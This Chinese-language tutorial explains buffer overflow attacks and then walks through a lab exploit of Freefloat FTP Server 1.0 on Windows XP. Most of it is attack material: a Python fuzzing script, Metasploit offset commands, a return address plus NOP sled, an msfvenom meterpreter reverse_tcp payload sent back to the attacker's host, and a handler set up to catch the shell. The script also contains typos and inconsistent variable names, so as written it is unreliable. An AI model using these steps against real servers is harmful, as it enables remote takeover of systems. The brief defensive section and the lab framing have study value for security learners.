定义:利用缓冲区溢出漏洞进行攻击行动
攻击原理
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
防范方法
缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。
有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响。
1.通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
2.强制写正确的代码的方法。
3.利用编译器的边界检查来实现缓冲区的保护。这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。
4.一种间接的方法,这个方法在程序指针失效前进行完整性检查。虽然这种方法不能使得所有的缓冲区溢出失效,但它能阻止绝大多数的缓冲区溢出攻击。分析这种保护方法的兼容性和性能优势。
环境模拟
攻击机:kali2021
靶机版本:windows XP 英文版
本环境自己搭建,部分工具自己下载
缓冲区溢出攻击脚本
import socket
import optparse
def ftpfuzz(host,post):
st = ()
conn = socket.socket(sockrt.AF_INET, socket.SOCK_STREAM)
try:
conn.connect((host,port))
print '[+] Connected'
except:
print '[-] Connection failed!'
exit(0)
res = conn.recv(1024)
print str(res)
print '[+] Sendinf buffer...'
conn.send('USER ' + st + '\r\n')
def main():
parser = optparse.OptionParser('usage%prog '+'-H <target host> -P <target port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-P', dest='tgtPort', type='int', help='specify target port')
(option, args) = parser.parse_args()
host = options.tgtHost
port = options.tgtPort
if (host == None) | (port == None):
print parser.usage
exit(0)
ftpfuzz(host,port)
if __name__ == '__main__':
main()
2./usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 生成300字节的字符串
3.将生成的300字符串放进脚本中,st=()
4.在windowsxp中,开启靶机环境
C:\Tool\OllyICE\OllyICE.exe
C:\freefloatftpserver1.0\Win32\FTPserver.exe
启动ftp
5.运行脚本,进行溢出
python ftp_fuzz_test.py -H 172.16.101.10 -P 21
靶机显示内存地址在37684136溢出
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q
0x37684136
发现在230字符串溢出
7.生成shellcod上传脚本,进行payload监听
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.101.7
LPORT=5551 -f python -v shellcode -b “\x00\x0a\x0d”
在windowsxp中,打开cmd,切换Tool目录下查看可执行模块的内存地址
findjmp.exe USER32/dll
脚本添加
st = (“A”*230 + “\x53\x93\xD2\x77” + “\x90” * 32+shellcode)
打开msfconsole进行监听
use exploit\multi\handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.101.7
set LPORT 5551
Python ftp_fuzz_test.py -H 172.16.101.10 -P 21
运行脚本,进行会连